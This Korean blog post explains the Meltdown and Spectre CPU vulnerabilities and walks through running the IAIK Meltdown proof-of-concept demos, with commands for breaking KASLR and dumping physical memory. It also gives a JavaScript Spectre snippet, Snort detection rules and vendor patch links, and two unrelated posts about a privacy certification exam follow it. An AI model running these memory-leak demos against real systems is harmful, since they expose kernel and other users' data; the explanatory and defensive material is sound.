CPU 취약점 Meltdown(멜트다운)과 Spectre(스펙터)


멜트다운과 스펙터는 구글 보안기술팀인 Project Zero 제인 혼 수석연구원과 오스트리아 그라츠 공과대학, 업계의
보안 전문가들에 의해 발견되었다.

구글은 2017년 6월 1일경에 인텔, AMD, ARM등 주요 CPU 제조사에게 이 버그의 존재를 알려주었다. 공개되기 전 패치를
통하여 조치를 취할 수 있도록 하기 위함이다. 이후 1월 3일 Project Zero 블로그를 통해 해당 버그를 공개하였다.


유형1 

bounds check bypass (경계검사 우회) 

CVE-2017-5753 

유형2 

branch target injection (분기표적 주입)

CVE-2017-5715 

유형3 

rogue data cache load (불량데이터캐시 적재)

CVE-2017-5754 

유형 1과 2는 스펙터 취약점이며, 유형 3은 멜트다운 취약점이다. 
유형 1과 2에 해당하는 스펙터 취약점은 한 유저 프로그램이 다른 유저 프로그램 메모리를 볼 수 있는 취약점이다.
유형 3인 멜트다운 취약점은 유저 프로그램이 OS 권한 영역을 훔쳐 볼 수 있는 취약점이다.

스펙터 취약점은 인텔, AMD, ARM 프로세서에서 발견되고, 멜트다운은 인텔 CPU와 일부 ARM Cortex(애플, 닌텐도 스위치등)
에서 발생하고 있다.
스펙터보다 멜트다운 취약점이 치명적인데, 멜트다운의 경우엔 모든 보안 정책이 무효가 되고 OS의 메모리 정보를
인가받지 않은 사용자가 읽을 수 있다.

스펙터는 CPU 속에 담겨 있는 수 많은 명령어에서 일어나는 버그를 악용한 보안 취약점으로 멜트다운보다 덜 치명적이고
구현하기도 어렵지만, 반대로 막는 것도 어렵다는 유령 같은 특징과 추측 실행(Speculative execution)의 어감을 이용하여
스펙터라는 이름이 붙었다. 
멜트다운은 CPU 마이크로아키텍처 구조에서 마이크로옵 단위에서 발생되는 레이스 컨디션 공격이다. 

CPU 마이크로 아키텍처 구조는 다음과 같다.

명령어(instruction)
CPU의 동작은 할 일을 적어놓은 명령어가 수행되면서 동작한다. 예를 들어 3개의 명령어를 순차적으로 실행한다고 하면,
(1) : x라는 값을 읽고, (2) : x에 1을 더하고, (3) x를 y에 저장하라로 설명할 수 있다.

파이프라인(Pipeline)
파이프라인은 CPU가 하나의 명령어를 처리하는 과정도 너무 복잡하고 많기 때문에, 이를 잘게 쪼개서 여러가지 작은
단계로 나누어 처리하는 방식이다. 파이프라인 단계는 나눈 방법이 여러가지가 있지만, 대체로 다음과 같이 8단계로
나눌 수 있다. 대부분의 명령어는 다음의 단계를 차례대로 진행한다.

(1) 호출 (Fetch) : 실행할 명령어를 주메모리에서 가져옴.
(2) 해독 (Decode) : 명령어가 어떤 것인지 해독.
(3) 재명명 (Rename) : 명령어가 쓸 물리 레지스터를 할당한다. 레지스터 EAX에 값을 저장하는 명령어이라면,
실행이 완료될 때까지 사용자에게 노출되지 않는 물리 레지스터에 값을 저장하고, 명령어가 최종적으로 완료되면
그때 값을 노출 시킨다.
(4) 디스패치(Dispatch) : 명령어가 재정렬 버퍼 (Re-Order Buffer, ROB)의 맨 뒤에 들어간다. 다음 단계인 송출 ->
실행 -> 회신까지는 나중에 온 명령어가 먼저 수행될 수 있는데 (Out-of-order execution), 최종적으로 명령어가
나갈 때는 원래 순서를 지켜서 유저는 순서가 바뀐 것을 알아챌 수 없게 하기 위해 ROB 맨 뒤에 명령어를 넣는다.
(5) 송출 (Issue) : 명령어가 실행단계에 필요한 자원이 준비되면 보낸다. 레지스터 EAX에 1을 더하는 명령어라면 일단
EAX의 최신 값을 만들어내는 이전 명령어가 아래의 회신 단계를 완료해야 한다.
(6) 실행 (Execute) : 명령어를 실제로 수행한다. 계산이나 주 메모리에서 값을 읽어오거나 처리하는 것이 이때
실행된다.
(7) 회신 (Writeback) : 전송완료신호를 보내는 것. 만들어진 결과 값을 재명명(Rename) 단계에 할당 받은 물리
레지스터에 저장한다. 이 값을 기다리던 명령어들에게도 알려준다.
(8) 완료 (Commit) : 사용자에게 노출되지 않은 물리 레지스터를 사용자에게 노출시킨다.

※위의 과정에서 특이한 점은 어떤 명령어가 완료되기 전까지는 사용자에게 명령어 수행의 결과를 노출시키지
않는다는 것이다. 어떤 이유로 명령어 수행을 취소해야 하면, 잘못 수행된 명령어중 가장 오래된 것부터 시작해서
이후 모든 명령어를 파이프라인에서 지운다. 이런 상황은 미연에 방지하는 것이 좋겠지만, 피할 수 없는 이유는
추측실행(Speculative execution)때문이다.


캐시(Cache)
주 메모리에서 값을 읽는 동작은 CPU의 처리 속도에 비해 매우매우매우 느리다. 따라서 이 차이를 줄이기 위해 매우
빠르지만, 작은 저장 공간이 CPU에 있는데, 이를 캐시(Cache)라고 한다. 캐시는 공간이 작기 때문에 새로운 값을
읽어들이려면 기존 값을 다시 원래 위치로 돌려보내야 하는데, 주로 가장 오래된 값을 돌려보낸다. 이는 최근에
접근한 값이 또 접근할 가능성이 높은 성질과 어떤 값을 읽으면 그 근처의 값을 읽을 확률이 높은 성질을 이용한 것이다.
(참조지역성, Principle of locality) 이렇게 캐시에 값이 들어오는 덩어리를 캐시 라인이라고 하며, 보통 64바이트의 크기를
가진다. 구체적으로 메모리 주소를 64로 나누었을 때 몫이 같은 데이터들은 한 캐시 라인을 구성하게 된다.

분기 예측(Branch prediction)
분기 (Branch) 명령어는 어떤 조건이 맞으면 다음에 실행할 명령어의 위치를 임의로 지정할 수 있게 한다. 이는 같은
명령어들을 반복해서 실행하거나 조건에 따라 다른 일을 하고 싶을 때 사용하는 기본적인 명령어이다. 다만
분기(Branch) 명령어는 파이프라인에서 한가지 문제를 일으킨다.
(1) 분기(Branch)가 가르키는 주소로 이동할지 안할지
(2) 이동하는 주소가 어디인지 알아내는 것은 해독(Decode)나 실행(Execute)단계가 와야한다.
다음 명령어 위치를 마냥 기다리자니 파이프라인의 호출(Fetch)단계가 놀게 된다. 이를 막고자 다음 명령어 위치를
예측하는 기법을 사용하는데, 이것이 분기 예측(Branch prediction)이다. 당연히 가르키는 주소로 갈지 안갈지의 방향
예측과 가르키는 주소 자체의 예측 두 가지가 함께 이루어진다.

비순차적 명령어 처리 (Out-of-Order Execution, OoOE)
비순차적 명령어 처리(OoOE)는 파이프라인의 송출 -> 실행 -> 회신 단계에서 늦게 온 명령어가 일찍 온 명령어보다
먼저 처리 할 수 있는기능이다. 앞에 온 명령어의 처리가 수행될 수 없지만 뒤에 온 명령어는 수행할 수 있는 경우가
있는데, 그러면 CPU를 놀게 하기보다 뒤에 온 명령어를 먼저 처리하자는 의도이다. 당연히 아무 때나 할 수 있는 것은
아니다.
이렇게 순서를 바꿔도 사용자가 보는 값이 비순차적 명령어 처리(OoOE)를 하지 않았을 때와 같은 경우에만 할 수 있다.
까다로운 조건 체크때문에 비순차적 명령어 처리(OoOE)를 달면 속도는 빨라지지만 칩이 커지고 전기도 많이 쓰인다.
초창기에는 휴대기기용 CPU엔 비순차적 명령어 처리(OoOE)가 없었다가 최근에 최적화를 거친 뒤 사용되기 시작했다.

추측 실행(Speculative execution)
완료(Commit)단계 전에는 명령어 수행을 취소할 수 있다. 그러므로, 어떤 명령어가 특정 파이프라인 단계에 필요한
정보가 없어서 진행이 막혔을 때, 필요한 정보를 예측해서 높은 확률로 맞춘다면 틀렸을 때의 다소 큰 손해를 넘어서는
이익을 취할 수 있다. 고성능의 CPU는 이러한 예측에 기반한 기술들을 활용하고 있다.
반복문이 있다고 하자. 이 반복문의 맨 마지막 명령어는 종결 조건이 맞지 않는 동안 반복문의 맨 처음 명령어로
점프하도록 만들어져 있다. 결과적으로 마지막 반복 말고는 항상 맨 처음 명령어로 점프하기에 높은 확률로 점프를
한다는 예측이 맞게 된다. 이렇게 예측을 하면 굳이 마지막 명령어를 실행(Execute)할 필요도 없이 다음 명령어를
호출 (Fetch)할 수 있고, 기다리는 시간을 줄여서 성능을 대폭 상승시킨다. 다만 맨 마지막 반복에서도 예측을 통하여
반복을 할려다가 틀리게 된다. 예측이 틀린지 아는 시점은 명령어의 해독(Decode) 혹은 실행(Execute) 단계 수행
직후이며, 틀렸다면 틀린 명령어의 완료(Commit)단계 때 자기 자신과 이후 호출(Fetch)된 모든 명령어를
파이프라인에서 지우게 된다.



스펙터

스펙터는 추측 실행(Speculative execution)이 실행 할 때 다른 곳의 코드 실행[분기표적주입 (branch target injection)의
경우]이나 조건문[경계검사 우회(bounds check bypass)의 경우]을 실행한 뒤 잘못된 경우 실행을 취소시키는데,
이 때 발생한 부작용을 악용하여 다른 프로그램의 메모리를 읽는 것이다.
다만 메모리를 훔쳐볼 수만 있고 메모리에 기록할 수 없으므로 그 자체만으로 직접 시스템에 파괴적인 행동을 하거나
악성코드를 심는 것은 불가능하다. 또한 커널 영역에 접근 가능한 것이 아니므로 상대적으로 멜트다운보다는 영향이
좀 더 작을 것이다. 하지만 다른 프로세스의 메모리에 올라온 모든 정보를 해커가 읽을 수 있는 이상, 정보가 유출될
가능성은 있다. 
스펙터의 경우 유저들의 프로그램간 메모리 스니핑이 일어나는거지만, 기본적으로 대상 프로그램에서 문제가 존재하는
코드의 추측 실행(Speculative execution)이 실행되어야 하기 때문에, 실제로 스펙터를 사용해 공격하려면 공격하려는
대상 프로그램을 세세하게 분석해야 되고, 프로그램이 돌아가는 아키텍처나 OS를 자세히 알아야 해서 실제로 공격하긴
매우 어렵다. 다만 어느 코드에서나 문제가 존재할 가능성이 있기 때문에, 문제를 발견해도 막기가 힘들 수 있다. 
프로세서는 일부 조건 분기, 예를 들어 if else가 성립되지 않는 상황 등에서 먼저 해당 조건 안에 있는 코드를 실행하며,
발생 조건이 맞지 않는다면 해당 결과를 버리게 된다. 
스펙터 취약점은 이러한 특성을 이용하여 CPU가 분기가 맞는지 안맞는지 판단하기 전에 분기 내부에 포함되어 있는
코드(공격자가 악의적인 목적으로 작성해놓은 코드)를 실행한다면 결과적으로 일부 데이터가 L1 cache에 저장된다.
그 이후 이 데이터에 접근한 시간을 통해 어떠한 케시에 저장되어있는지 추측하고, 다시 역순으로 실행을 통해
자신의 메모리 경계를 넘어 메모리를 읽어올 수 있다.



<리눅스>


<윈도우 / i5-5200U>

위의 프로그램은 스펙터 논문에서 게시된 소스를 그대로 컴파일한 내용이다. 


멜트다운

최신 CPU들은 처리 속도를 조금이라도 더 향상시키기 위해 여러 기술들을 도입하였다. 그것들 중에 이번 멜트다운과
관련된 기술은 예측실행(Speculative Execution)과 분기 예측(Indirect Branch Preddiction)기술이다.
이 기술은 약 20년 전(1995년)부터 사용되기 시작하였다. 프로세서는 한가지 명령에 대한 처리가 끝나면 다른 명령을
받기 전까지 어떠한 작업도 하지 않는다. 하지만 최적화 기술이 적용된 프로세서들은 명령을 받지 않아도 다음에 실행될
명령들을 예측하여 해당 명령을 처리하기 위해 필요한 데이터들을 CPU캐시에 로드해 놓는 방법을 통해 CPU성능을
향상 시켰다.


<정상적인 프로세스 과정>

CPU마이크로 아키텍처, 파이프라인 설명했듯이 이 과정에서 컴퓨터가 올바르게 예측하여 예측한 명령이 처리된다면
CPU속도는 빨라지겠지만, 잘못 예측하면 해당 작업을 취소하고 예측 전의 단계로 돌아간다.
파이프라인은 예측 전의 상태로 돌아가지만, 예측한 명령을 실행하기 위해 CPU캐시에 로드해놨던 데이터들은
여전히 남아있게 된다.


<프로세스 과정 중 오류 발생>

예측실행 기능을 가진 CPU의 실행과정 중, 명령 4가 필요한 메모리 로드 사이클은 명령 3이 정상적으로
실행되었는지와는 상관 없이 예측하여 메모리 캐시에 로드시켜놓는다. 이 과정에서 메모리의 적합성 여부는 판단하지
않는다. 위에 설명했다시피, 명령 3의 예측과정에서 오류가 발생하면, 명령4는 실행되지 않지만, 명령 4를 수행하기 위해
필요한 데이터들은 이미 CPU캐시에 로드되어 있는 상태이다. 이렇게 CPU 캐시에 로드되어 있는 데이터들 중에
관리자 권한으로만 접근이 가능한 데이터들도 포함되어 있을텐데, 이 때 로드되어 있는 메모리들에 비정상적으로
접근하거나 권한이 없는 사용자가 접근을 하여도 모두 허용하게 된다.
그 이유는 CPU는 CPU 캐시에서 레지스터로 전송하기까지 일련의 메커니즘을 통해 주소의 적합성 여부를 판단하는데,
CPU 분기 예측 과정에서 오류가 발생하였고, CPU 캐시메모리로의 로드까지만 실행되었으며, 레지스터로의 전송 과정이
완료되지 않았기 때문에, 해당 케시 메모리에 대한 비정상적인 접근을 모두 허용하게 된다.
멜트 다운은 인텔의 경우 microarchitectural을 타겟으로 하는 공격으로, 비 순차적인 실행 방법을 이용하는 사용자의
커널 메모리를 유출 시킬 수 있다. 
공격자는 멜트다운 취약점을 이용해 프로세서에 있는 권한 상승 취약점을 공격한다. CPU의 추측 실행 기능을 이용하면
공격자가 메모리 보호를 우회할 수 있기때문이다.
해당 취약점을 이용하면 사용자 공간에서 커널 메모리에 접근하도록 허용한다. 이는 사용자가 시스템 내부에 존재하는
보안 메커니즘을 우회하여 정보를 유출시킬 수 있다.


다음은 깃허브에 있는 멜트다운 POC 데모 설명이다. 
(깃허브 주소 : https://github.com/IAIK/meltdown/)

이 깃허브에는 다양한 사용 사례를 보여주는 5가지 데모가 있다. 깃허브에서 실행한 데모는 Intel Core i7-6700K를
사용하며 Ubuntu 16.04에서 테스트되었다. 2010년부터 최신 Intel cpu를 사용하는 모든 linux에서 작동될 수 있다.
(필자는 가상머신/우분투 16.04으로 진행)
최상의 결과를 얻고 싶다면 인텔 TSX를 지원하는 CPU를 사용하는 것이 좋다. 그리고 모든 데모는 하나의 cpu 코어에
고정되어 있어야한다. 

Build dependency for demo

데모 시연을 위해 먼저 glibc-static이 설치되어 있어야한다.

>> apt-get install -y glibc-static

Demo #1 : A first test (test)

가장 기본적인 데모이다. 멜트다운을 이용해 메모리 경계선을 넘지 않는 자체 주소 공간에서 엑세스 가능한 주소를 읽는다.
만약 이 데모가 동작하지 않는다면 나머지 데모도 동작하지 않을 가능성이 높다. CPU가 느려서 OoOE가
동작안할 수 있고, 타이머가 정확하지 않거나(가상 머신) OS가 지원하지 않는 등 다양한 이유가 있다.

Build and Run

>> make
>> taskset 0x1 ./test

만약 다음과 같은 출력이 나온다면 기본적인 데모는 동작하는 것이다.
Expect : Welcome to the wonderful world of microarchitectural attacks
    GOT: Welcome to the wonderful world of microarchitectural attacks


Demo #2 : Breaking KASLR (kaslr)

리눅스 커널 4.12부터는 KASLR(Kernel Address Space Layout Randomization)이 기본적으로 활성화되어 있다. 즉,
재부팅할 때마다 커널 위치가 변경된다. (uname -a로 커널 버전 확인 가능)
이 데모에서는 멜트다운을 이용해 직접 물리적 주소가 무작위로 바뀌는 것을 무효화한다. 이 데모에서는 프로세스의
속도를 높이기 위해 루트 권한이 필요로 한다. 논문에서는 루트 권한이 필요없다.

>> sudo taskset 0x1 ./kaslr


몇 분뒤 아래와 같은 출력을 확인 할 수 있다.


Demo #3 : Reliability test (reliability)

이번 데모는 얼마나 신뢰성있게 물리 메모리를 읽을 수 있는지 테스트 하는 데모이다. 이 데모에서 물리적 메모리
오프셋이 있거나, 커널에서 KASLR을 비활성화 해야 한다,
KASLR을 비활성화 시키지 않았다면 Demo #2에 있는 값을 가져오고, 비활성화 시켰다면 매개 변수를 안넣어도 된다.

>> sudo taskset 0x1 ./reliability 0xffffaeb100000000


Demo #4 : Read physical memory(physical_reader)

이 데모는 실제 메모리를 직접 읽음으로 다른 프로세스가 사용하는 메모리를 읽는다. 이 데모에서는 물리적메모리 오프셋
이나 KASLR을 비활성화 해야한다.


>> sudo ./secret 

secret을 실행시켜둔 채로 physical_reader를 실행시킨다. 첫 번째 매개변수는 secret에 실행된 주소이다. 두 번째
매개변수는 물리적 메모리 오프셋이다. 이전 데모와 마찬가지로 KASLR을 비활성화 하면 필요없다.


>> taskset 0x1 ./physical_reader 0x3accd62 0xffffaeb100000000

몇 분 뒤 결과가 나올 것이다.


Demo #5: Dump the memory (memdump)

메모리 내용을 덤프뜹니다. 이전 데모 #3, #4와 마찬가지로 물리적메모리에 있는 값을 16진수 형식으로 덤프뜹니다.
물리적 메모리에는 사람들이 읽을 수 없는 많은 내용이 포함되어 있습니다. 우리는 사람들이 읽기 편하게 문자열을
채워주는테스트 도구를 제공한다.

시연에 앞서 사람이 읽을 수 있는 문자열로 메모리를 채우기 위해 memory_filler를 실행한다. 첫번째 매개변수는 채울
메모리 양(기가바이트)이다.

>> ./memory_filler 1

그리고 메모리 내용을 덤프하기 위해 memdump를 이용한다. 이전에 memory_filler를 실행한경우 문자열 일부가
나타난다. 실행중인 인터넷 익스플로러가 있는 경우, 웹 열려있거나 최근에 닫은 익스플로러를 볼 수 있다.

첫번째 매개변수는 덤프가 시작되어야 하는 실제 주소이다.(첫번째 기가바이트에서 실행하려면 빈칸)
두번째 매개변수는 읽으려는 바이트 수이며, 읽을려면 -1이다. KASLR를 비활성화 하지 않았다면 세번째 매개변수는
물리적 메모리 오프셋이다.

>> taskset 0x1 ./memdump 0x240000000 -1 0xffffaeb1000000


. 밖에 안나왔다. 계속 돌리면 유의미한 정보를 얻을 수 있을거라 판단된다.


멜트다운과 스펙터 차이점

 

멜트다운

스펙터 

아키텍쳐 

인텔, 일부 ARM 

인텔,ARM,ADM 

엔트리 

해당 시스템에서 코드실행 

해당 시스템에서 코드실행  

메서드 

인텔 권한 상승 + 예측 실행 

브랜치 예측 + 예측 실행 

영향 

사용자 공간에서 커널 메모리 읽기 

프로그램 실행하는 다른 사용자로부터 메모리 읽기 

대응 

소프트웨어 패치 

 소프트웨어 패치

※ 소프트웨어 패치가 100% 막을 수 있는 것은 아니며, "완화"한 것이라고 볼 수 있음. 패치시 성능 저하 및 호환 문제가
발생가능성이 있음.

동적분석

http://blog.alyac.co.kr/1481?category=957259



자바스크립트 기반 Spectre 취약점 코드

var TABLE1_STRIDE = 1;
var TABLE1_BYTES = 3;
var probeTable = ['alpha', 'beta', 'corky'];
var simpleByteArray = [0x00, 0x01, 0x02];
var localJunk;
var index = 0;
if (index < simpleByteArray.length) {
    index = simpleByteArray[index | 0];
    index = (((index * TABLE1_STRIDE) | 0) & (TABLE1_BYTES - 1)) | 0;
    localJunk &= probeTable[index | 0] | 0;
}
console.log(localJunk);


공격 탐지를 위한 SNORT RULE

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"ET WEB_CLIENT Spectre Kernel Memory Leakage JavaScript (POC Based)"; flow:established,from_server; file_data; content:"<script"; content:"|3c 20|simpleByteArray.length|29|"; distance:0; content:"simpleByteArray|5b|"; within:50; content:"|2a 20|TABLE1_STRIDE|29 7c 30 29 20 26 20 28|TABLE1_BYTES-1|29|"; distance:0; fast_pattern; content:"|5e 3d 20|probeTable|5b|"; distance:0; content:"|7c 30 5d 7c 30 3b|"; distance:0; metadata: former_category WEB_CLIENT; reference:url,spectreattack.com/spectre.pdf; classtype:attempted-user; sid:2025184; rev:2; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, signature_severity Major, created_at 2018_01_04, updated_at 2018_01_04;)

 alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"ET WEB_CLIENT Spectre Kernel Memory Leakage JavaScript"; flow:established,from_server; file_data; content:"<script"; nocase; content:"<"; distance:0; content:".length"; distance:0; nocase; fast_pattern; pcre:"/^\s*?\)\s*?\{\s*(?P<var>[^\s]+)\s*=[^\x5b]+?\x5b\s*(?P=var)\s*?\|\s*?0\s*?\]\s*?\x3b\s*?/Rsi"; content:"^="; distance:0; pcre:"/^\s*[^\s]+\x5b\s*?[^\x5d\x7c]+\x7c\s*?0\s*?\x5d\s*?\x7c\s*?0\s*?\x3b/Rsi"; metadata: former_category WEB_CLIENT; reference:url,spectreattack.com/spectre.pdf; classtype:attempted-user; sid:2025185; rev:2; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, signature_severity Major, created_at 2018_01_04, performance_impact Low, updated_at 2018_01_04;)



취약점 관련 패치 대응 상황 


- Intel Security Advisory https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr


- ARM Trusted Firmware Security Advisory TFV 6
https://github.com/ARM-software/arm-trusted-firmware/wiki/ARM-Trusted-Firmware-Security-Advisory-TFV-6


- NVIDIA Security Notice
http://nvidia.custhelp.com/app/answers/detail/a_id/4609


- IBM POWER 칩 관련 펌웨어 및 리눅스 패치 적용
https://www.ibm.com/blogs/psirt/potential-impact-processors-power-family/


- MS Windows 패치 적용
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180002

  (1) MS Windows Server 패치 적용
https://support.microsoft.com/en-us/help/4072698/windows-server-guidance-to-protect-against-the-speculative-execution

  (2) MS Windows 패치 적용(2018년 1월 Windows 운영체제의 보안 업데이트 적용)
       * 안티바이러스와 호환성 주의 (하단 안티바이러스 대응 상황 꼭 참고 바랍니다.)
https://support.microsoft.com/ko-kr/help/4072699/important-january-3-2018-windows-security-updates-and-antivirus-softwa

  (3) Windows 패치 적용 위해서는 위 안티바이러스 호환성 확인 및 호환되는 버젼으로 업그레이드 후, 아래와 같은 Registry 값이 설정되어 있어야 합니다.

Key="HKEY_LOCAL_MACHINE" Subkey="SOFTWARE\Microsoft\Windows\CurrentVersion\QualityCompat" Value="cadca5fe-87d3-4b96-b7fb-a231484277cc" Type="REG_DWORD”

이 값에 대한 설정을 도와 주기 위해 이스트소프트에서 제작 공개한 레지스트리 자동 수정 유틸(AllowMeltdownPatch.exe)을 첨부파일로 추가하였습니다. 참고 바랍니다.


- XenServer 7.1, 7.2, 7.3 Hotfix 설치(7.0은 아직 패치 작업 중)
https://support.citrix.com/article/CTX231390


- VMWare 패치 적용
https://www.vmware.com/us/security/advisories/VMSA-2018-0002.html


- Hyper-V 관련 보안 가이드 
https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/CVE-2017-5715-and-hyper-v-vms


- Amazone Linux 커널 업데이트
https://alas.aws.amazon.com/ALAS-2018-939.html
  * 그외 Amazone 서비스에 대한 관련 업데이트 사항
https://aws.amazon.com/ko/security/security-bulletins/AWS-2018-013/


- SUSE Linux 커널 업데이트
https://www.suse.com/support/kb/doc/?id=7022512


- RedHat Linux 커널 업데이트(CetOS 포함) 
https://access.redhat.com/security/vulnerabilities/speculativeexecution


- Ubuntu 커널 업데이트

https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown


- Fedora 커널 업데이트: Fedora 26, 27(커널 버젼 4.14.11 이상), Rawhide(커널 4.15 이상)
https://fedoramagazine.org/protect-fedora-system-meltdown/


- Debian 커널 업데이트: 4.9.65-3+deb9u2 이상 
https://security-tracker.debian.org/tracker/CVE-2017-5754


- FreeBSD (커널 업데이트 예정 확정 안됨)
https://www.freebsd.org/news/newsflash.html#event20180104:01


- CISCO (2월 18일 패치 예정)
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180104-cpusidechannel


- DELL 패치 적용

http://www.dell.com/support/article/kr/ko/krdhs1/sln308587/microprocessor-side-channel-attacks--cve-2017-5715--cve-2017-5753--cve-2017-5754---impact-on-dell-products?lang=en


- HP 패치 적용

https://support.hp.com/kr-ko/document/c05869091

http://h22208.www2.hpe.com/eginfolib/securityalerts/SCAM/Side_Channel_Analysis_Method.html


- MS SQL Server 관련 보안 가이드
https://support.microsoft.com/en-us/help/4073225/guidance-for-sql-server


- 화웨이 (패치 일정 미정)

http://www.huawei.com/au/psirt/security-notices/huawei-sn-20180104-01-intel-en


- F5

https://support.f5.com/csp/article/K91229003


- Fortinet

https://fortiguard.com/psirt/FG-IR-18-002


- Juniper

https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10842&actp=METADATA


- NetApp

https://security.netapp.com/advisory/ntap-20180104-0001/


- 애플 패치 적용
https://support.apple.com/ko-kr/HT201222


- 크롬 브라우저(수정 버젼 Chrome 64 - 1월 23일 발표 예정)
* Site Isolation 기능 사용 권장 
  http://www.chromium.org/Home/chromium-security/site-isolation


- 파이어폭스 브라우저 57 이상 업그레이드 권장


* 그외 패치 목록 검색 참고

https://exchange.xforce.ibmcloud.com/collection/Spectre-Meltdown-Vendor-Reference-List-d2b6dc11cff7409049c2ecb4a66a1103



윈도우즈 패치 적용에 따른 안티바이러스 대응 상황

   - 시만텍 (ERASER Engine 117.3.0.358 이상 패치) https://support.symantec.com/en_US/article.TECH248545.html

   - 안랩 V3 패치 적용  http://www.ahnlab.com/kr/site/support/notice/noticeView.do?boardSeq=50125159

   - 하우리 패치 적용 https://www.hauri.co.kr/security/notice_view.html?intSeq=465&page=1

   - 알약 패치 적용 (개인용 1월 10일, 기업용 1월 11일) https://www.estsecurity.com/securityCenter/news/view/1420

   - 비트디펜더 https://www.bitdefender.com/consumer/support/answer/9033/?icid=overlayccom_all_pagesmicrosoft_security_update_01_2018





※ 현재 인텔에서 보안패치시 문제가 발생해 업데이트를 보류해달라는 기사가 나왔다.

http://news.naver.com/main/read.nhn?mode=LSD&mid=shm&sid1=105&oid=003&aid=0008407950




참고

http://www.dailysecu.com/?mod=news&act=articleView&idxno=27795

http://www.bodnara.co.kr/bbs/article.html?num=144500

http://blog.alyac.co.kr/1472

http://blog.alyac.co.kr/1481?category=957259

http://bbs.ruliweb.com/news/board/1003/read/2146546

https://spectreattack.com/spectre.pdf

http://quasarzone.co.kr/bbs/board.php?bo_table=qf_cmr&wr_id=57044

https://googleprojectzero.blogspot.kr/2018/01/reading-privileged-memory-with-side.html

http://blog.yunochi.co.kr/?p=1230

http://cafe.naver.com/securityplus/25116

http://it.donga.com/27265/

https://namu.wiki/w/CPU%EA%B2%8C%EC%9D%B4%ED%8A%B8#s-3.2

https://github.com/Eugnis/spectre-attack

https://github.com/IAIK/meltdown/

http://blog.alyac.co.kr/1496

http://sata.kr/entry/%EB%B3%B4%EC%95%88-Issue-Intel-CPU-%EC%82%AC%ED%83%9C%EC%9D%98-Meltdown%EB%A9%9C%ED%8A%B8%EB%8B%A4%EC%9A%B4-Spectre%EC%8A%A4%ED%8E%99%ED%84%B0-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%95%8C%EC%95%84%EB%B3%B4%EC%9E%90

http://udteam.tistory.com/73





  1. leeggi 2018.09.05 10:01

    와 정말 잘 읽었습니다!

제 25회 CPPG(개인정보관리사) 최종합격


CPPG시험 처음 쳐보는 거였고, 많은 정보가 없어서 걱정을 많이 했지만, 한번에 붙어서 기분이 좋군요.

1영역과 5영역에서 과락의 위험이 있었지만 나머지 영역이 캐리해서 통과할 수 있었네요.

문제 수가 많아서 가체점하기도 어렵고, 문제의 답을 마킹했는데 애매모호한 것도 많아서 여러모로 결과를 

예측하기 힘든 시험이었습니다. 그래도 턱걸이지만 좋은 결과가 나와서 좋았습니다.

CPPG를 준비하면서 개인정보관련된 법을 알게되었고, 전체적인 흐름을 파악하는데 많은 도움이 되었습니다.

공부방법 및 자세한 후기는 아래의 링크를 참고해주세요.

http://jmoon.co.kr/166?category=636031

제 25회 CPPG(개인정보관리사) 시험 후기


cppg는 개인정보관리사 자격증이며, 한국CPO포럼에서 주관하는 시험입니다.


17년 12월 3일(일)에 부산구남중학교에서 시험치고 왔습니다.

시험이 오후에 치뤄져서 조금 일찍 가서 공부했습니다.

학교앞에 카페가 2개가 있기때문에 거기에서 공부좀 하다가 들어가시면 될듯 싶습니다.

지하철에서 내려서 2번 출구로 나오시면 앞에 카페있는데, 오르막길 올라 가시면 학교 입구 근처에

이디야외 카페 1개가 더 있습니다. 여기서 직전까지 공부하다가 들어가셔도 되겠습니다.

시험을 치기전 보안서약서 같이 서약을 하는 내용이 있어서 그런지 시험에 대한 정보가 다른 자격증보다

찾기가 어려웠습니다. 

그래서 처음에 공부 방향을 잡기가 힘들었습니다.

개인정보보호 바이블 CPPG PIMS책을 구하게 되었고, 저자 특강하는 것을 알게되었습니다.

그래서 서울까지 특강(3시간)을 들었으나, 특강 자체는 큰 도움을 못느꼈지만 주셨던 노트는 공부 방향을 잡는데 

도움이 되었습니다.

이번 시험을 치고 나서, 제가 공부했던 방식에서 어떻게 좀 더 효율적으로 공부를 할 수 있을까? 생각해보았습니다.

(붙을지 안붙을지는 아직 모르겠지만)

이번 시험공부는 실질적으로 7일 정도했습니다.

한 2~3주전에 입금하고 공부해야지~ 공부해야지~만 하다가 거의 못했습니다.

7일 공부도 다른 곳에 교육이 있어서 교육이 끝나고 2시간 정도하고, 논다고 2시간 정도하고

이틀 정도는 앉아있는건 8시간정도 앉아 있었는데, 실질적으로 공부한 시간은 4시간정도 투자했네요.

공부했던 방법은 아래와 같습니다. 

기본적으로 CPO에서 제공하는 가이드북을 전부 프린트하여, 정독 3회 했습니다.

다른 후기에서도 정독 3회를 했다고하는데 정독이 진짜 그냥 꼼꼼히 읽는 정도인지, 확인해가면서 읽는 것인지 정확히 몰라

제가 중요하다고 생각하는 부분(고지 사항등)과 수치등은 동그라미치며 한번 더 보고 써가면서 보았습니다. 

아 첫 1회독때는 그냥 책 읽듯이 쭉 봤어요. 

2회독때 위와같이 진행했으며, 3회차 때 헷갈리는 부분을 한번 더 쓰면서 보았습니다.

law.go.kr 가시면 법령을 볼 수 있습니다.

여기서 개보법, 개보법 시행령은 전부 출력하여 보았으며, 정보통신망법, 망법 시행령은 개인정보와 관련된 부분만 출력하여

정독 3회 했습니다. 정독 방법은 가이드북과 동일하게 하였습니다.

개인정보 안정성조치(개보법), 기술적 관리적 보호조치(망법)은 제본을 하여 정독 3회 했습니다.

가이드북과 똑같은 방식으로요. 

이렇게 보다보면 봤던 내용이 또 나오고 또 나오고 비슷하게 나오는게 느껴집니다.

미묘하지만 다른 부분을 체크하여 한번 더 확인합니다.(망법, 개보법 차이등)

